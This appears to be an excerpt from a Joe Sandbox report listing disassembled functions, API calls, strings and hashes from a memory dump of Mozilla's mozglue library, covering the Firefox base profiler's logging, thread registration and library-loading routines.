nostacksampling, xrefs: 6CAFCD7C
power, xrefs: 6CAFCE84
stackwalk, xrefs: 6CAFCCF8
notimerresolutionchange, xrefs: 6CAFCE00
ipcmessages, xrefs: 6CAFCDBE
noiostacks, xrefs: 6CAFCCBE
unregisteredthreads, xrefs: 6CAFCE58
nativeallocations, xrefs: 6CAFCDA8
samplingallthreads, xrefs: 6CAFCE2C
preferencereads, xrefs: 6CAFCD92
fileio, xrefs: 6CAFCC92
seqstyle, xrefs: 6CAFCCE6
Unrecognized feature "%s"., xrefs: 6CAFCEA0
java, xrefs: 6CAFCC37

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: d028806d586291d00d1782798d26cf53c991150f2342015f461ae52c117253b4
Instruction ID: 5a6b822708df98f30b911da01f916ecf93b4c46d68b7c29677d3667c531deeba
Opcode Fuzzy Hash: d028806d586291d00d1782798d26cf53c991150f2342015f461ae52c117253b4
Instruction Fuzzy Hash: 47517495A452B512FB2431176D10BFF1408EF5225EF14483AF92DA3E80FA39D68B86F7

Function 6CAC47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAC4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC482D
__Init_thread_footer.LIBCMT ref: 6CAC484A

Part of subcall function 6CAEAB3F: EnterCriticalSection.KERNEL32(6CB3E370,?,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB49
Part of subcall function 6CAEAB3F: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAC485F
GetCurrentThreadId.KERNEL32 ref: 6CAC487E
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC488B
free.MOZGLUE(?), ref: 6CAC493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC4956
free.MOZGLUE(00000000), ref: 6CAC4960
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC499A

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

free.MOZGLUE(?), ref: 6CAC49C6
free.MOZGLUE(?), ref: 6CAC49E9

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAC47FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAC4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAC4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6CAC4A42
[I %d/%d] profiler_shutdown, xrefs: 6CAC4A06

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: aa5814cf3fc7abe5e438ea1826f88e71129a38efce9ebbfeb1c5e4347d01c786
Instruction ID: ff9c1248e431447fa343ce03c1b1ddb3c0ce33839b4d04d760e693843737629d
Opcode Fuzzy Hash: aa5814cf3fc7abe5e438ea1826f88e71129a38efce9ebbfeb1c5e4347d01c786
Instruction Fuzzy Hash: 39812875B001248FEB20DF68C98476E3775EF42328F180665E91A97B45DB31E8C8CB9B

Function 6CAC19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB3F760), ref: 6CAC19BD
GetCurrentProcess.KERNEL32 ref: 6CAC19E5
GetLastError.KERNEL32 ref: 6CAC1A27
moz_xmalloc.MOZGLUE(?), ref: 6CAC1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC1A4F
GetLastError.KERNEL32 ref: 6CAC1A92
moz_xmalloc.MOZGLUE(?), ref: 6CAC1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC1ABA
LocalFree.KERNEL32(?), ref: 6CAC1C69
free.MOZGLUE(?), ref: 6CAC1C8F
free.MOZGLUE(?), ref: 6CAC1C9D
CloseHandle.KERNEL32(?), ref: 6CAC1CAE
ReleaseSRWLockExclusive.KERNEL32(6CB3F760), ref: 6CAC1D52
GetLastError.KERNEL32 ref: 6CAC1DA5
GetLastError.KERNEL32 ref: 6CAC1DFB
GetLastError.KERNEL32 ref: 6CAC1E49
GetLastError.KERNEL32 ref: 6CAC1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC1E9B

Part of subcall function 6CAC2070: LoadLibraryW.KERNEL32(combase.dll,6CAC1C5F), ref: 6CAC20AE
Part of subcall function 6CAC2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CAC20CD
Part of subcall function 6CAC2070: __Init_thread_footer.LIBCMT ref: 6CAC20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAC1F15
VerSetConditionMask.NTDLL ref: 6CAC1F46
VerSetConditionMask.NTDLL ref: 6CAC1F52
VerSetConditionMask.NTDLL ref: 6CAC1F59
VerSetConditionMask.NTDLL ref: 6CAC1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAC1F6D

Strings

D, xrefs: 6CAC1B57

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 54273c22f37900b9888d11e860e3b095c00ca7c069ea99a33eefc54c1fb94a23
Instruction ID: cc6bce740db29be7fe595438393a289459bb3a0afe63f525a03c05700433ea69
Opcode Fuzzy Hash: 54273c22f37900b9888d11e860e3b095c00ca7c069ea99a33eefc54c1fb94a23
Instruction Fuzzy Hash: 96F19071B00365AFEB219F65CC48BAAB7B8FF09704F144199EA09A7640D774ED80CF91

Function 6CAC4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAC44B2,6CB3E21C,6CB3F7F8), ref: 6CAC473E
Part of subcall function 6CAC4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAC474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAC44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAC44D2
InitOnceExecuteOnce.KERNEL32(6CB3F80C,6CABF240,?,?), ref: 6CAC451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAC455C
LoadLibraryW.KERNEL32(?), ref: 6CAC4592
InitializeCriticalSection.KERNEL32(6CB3F770), ref: 6CAC45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAC45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAC45BB
InitOnceExecuteOnce.KERNEL32(6CB3F818,6CABF240,?,?), ref: 6CAC4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAC4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAC4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAC466D
VerSetConditionMask.NTDLL ref: 6CAC469F
VerSetConditionMask.NTDLL ref: 6CAC46AB
VerSetConditionMask.NTDLL ref: 6CAC46B2
VerSetConditionMask.NTDLL ref: 6CAC46B9
VerSetConditionMask.NTDLL ref: 6CAC46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAC46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAC46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAC46FD

Strings

l, xrefs: 6CAC4578
kernel32.dll, xrefs: 6CAC44CD
WRusr.dll, xrefs: 6CAC44B5
user32.dll, xrefs: 6CAC4557, 6CAC463F
NativeNtBlockSet_Write, xrefs: 6CAC46F7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 39c9f54a8b6eeee8cb775b9714d323bd3818444418fa98f8d6797293dd1d1887
Instruction ID: e41274454a8785cc5f66c928153341bb7624ad33a7f475e4923c043246f9cf79
Opcode Fuzzy Hash: 39c9f54a8b6eeee8cb775b9714d323bd3818444418fa98f8d6797293dd1d1887
Instruction Fuzzy Hash: 246117B0700398EFEB208F64CC09BA97BB8EF46309F088599E90C9B641D7759985CF52

Function 6CAFE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CAFB9F1,?), ref: 6CAF7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAFDCF5), ref: 6CAFE92D
GetCurrentThreadId.KERNEL32 ref: 6CAFEA4F
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEA5C
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEA80
GetCurrentThreadId.KERNEL32 ref: 6CAFEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAFDCF5), ref: 6CAFEA92
GetCurrentThreadId.KERNEL32 ref: 6CAFEB11
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CAFEB3C
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEB5B

Part of subcall function 6CAF5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAFEB71), ref: 6CAF57AB

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CAFEBAC

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFEBC1
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000), ref: 6CAFEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CAFEBE5
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,00000000), ref: 6CAFEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFEC46
CloseHandle.KERNEL32(?), ref: 6CAFEC55
free.MOZGLUE(00000000), ref: 6CAFEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CAFEA9B
[I %d/%d] profiler_start, xrefs: 6CAFEBB4

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 89786656c4b85dab00fc34b597bbafaf53b36af90af65443eda451a24630ada8
Instruction ID: 06e719dc6705bd96124db6515a9f4b228e302ebd825c1bf4f84895045c4fdbb8
Opcode Fuzzy Hash: 89786656c4b85dab00fc34b597bbafaf53b36af90af65443eda451a24630ada8
Instruction Fuzzy Hash: 73A149317007148FDB20AF68C944BAE77B5FF86318F148469F92D87B51DB30988ACBA1

Function 6CAFF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CAFF8F9

Part of subcall function 6CAC6390: GetCurrentThreadId.KERNEL32 ref: 6CAC63D0
Part of subcall function 6CAC6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAC63DF
Part of subcall function 6CAC6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAC640E

ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF93A
GetCurrentThreadId.KERNEL32 ref: 6CAFF98A
GetCurrentThreadId.KERNEL32 ref: 6CAFF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF716

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

Part of subcall function 6CABB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CABB5E0

GetCurrentThreadId.KERNEL32 ref: 6CAFF739
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF746
GetCurrentThreadId.KERNEL32 ref: 6CAFF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB3385B,00000002,?,?,?,?,?), ref: 6CAFF829
free.MOZGLUE(?,?,00000000,?), ref: 6CAFF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CAFF866
free.MOZGLUE(?), ref: 6CAFFA0C

Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC5E8C
Part of subcall function 6CAC5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5E9D
Part of subcall function 6CAC5E60: GetCurrentThreadId.KERNEL32 ref: 6CAC5EAB
Part of subcall function 6CAC5E60: GetCurrentThreadId.KERNEL32 ref: 6CAC5EB8
Part of subcall function 6CAC5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5ECF
Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAC5F27
Part of subcall function 6CAC5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAC5F47
Part of subcall function 6CAC5E60: GetCurrentProcess.KERNEL32 ref: 6CAC5F53
Part of subcall function 6CAC5E60: GetCurrentThread.KERNEL32 ref: 6CAC5F5C
Part of subcall function 6CAC5E60: GetCurrentProcess.KERNEL32 ref: 6CAC5F66
Part of subcall function 6CAC5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAC5F7E

free.MOZGLUE(?), ref: 6CAFF9C5
free.MOZGLUE(?), ref: 6CAFF9DA

Strings

" attempted to re-register as ", xrefs: 6CAFF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CAFF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CAFF71F
Thread , xrefs: 6CAFF789

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 173980f1503a03732384edef010feca10dfba5061d5727d63221dcd97d892ca6
Instruction ID: 7f8a82058b99961dccece6b8acd3cf102ddfdb63ad1f2843046daac23fd8a08e
Opcode Fuzzy Hash: 173980f1503a03732384edef010feca10dfba5061d5727d63221dcd97d892ca6
Instruction Fuzzy Hash: 298146756003509FDB10DF24C980AAEB7F5EF85308F45456DE8599BB51EB30E88ECBA2

Function 6CAC4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAC4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CAC41F1
VerSetConditionMask.NTDLL ref: 6CAC4223
VerSetConditionMask.NTDLL ref: 6CAC422A
VerSetConditionMask.NTDLL ref: 6CAC4231
VerSetConditionMask.NTDLL ref: 6CAC4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAC4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CAC4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6CAC427A
FreeLibrary.KERNEL32(?), ref: 6CAC4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAC42C4
VerSetConditionMask.NTDLL ref: 6CAC42F6
VerSetConditionMask.NTDLL ref: 6CAC4302
VerSetConditionMask.NTDLL ref: 6CAC4309
VerSetConditionMask.NTDLL ref: 6CAC4310
VerSetConditionMask.NTDLL ref: 6CAC4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAC4324

Strings

Shcore.dll, xrefs: 6CAC425E
SetProcessDpiAwareness, xrefs: 6CAC4274

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 61b1374605fe1f71b1ddd8f05a219dd71cb168a054721a72bafc2c673eec5154
Instruction ID: 333ece2ebd367109d630d5b42fe1999f3c03fffc775759bee5db445ad51ef3a7
Opcode Fuzzy Hash: 61b1374605fe1f71b1ddd8f05a219dd71cb168a054721a72bafc2c673eec5154
Instruction Fuzzy Hash: 5F51F071B00264ABEB206B64CC49BBE777CEF86714F054918F909AB6C0CB749D80CAA5

Function 6CAFEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEE60
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEE6D
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFEEA5
CloseHandle.KERNEL32(?), ref: 6CAFEEB4
free.MOZGLUE(00000000), ref: 6CAFEEBB
GetCurrentThreadId.KERNEL32 ref: 6CAFEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFEECF

Part of subcall function 6CAFDE60: GetCurrentThreadId.KERNEL32 ref: 6CAFDE73
Part of subcall function 6CAFDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAC4A68), ref: 6CAFDE7B
Part of subcall function 6CAFDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAC4A68), ref: 6CAFDEB8
Part of subcall function 6CAFDE60: free.MOZGLUE(00000000,?,6CAC4A68), ref: 6CAFDEFE
Part of subcall function 6CAFDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAFDF38

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

GetCurrentThreadId.KERNEL32 ref: 6CAFEF1E
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEF2B
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEF59
GetCurrentThreadId.KERNEL32 ref: 6CAFEFB0
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEFBD
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFEFE1
GetCurrentThreadId.KERNEL32 ref: 6CAFEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF000

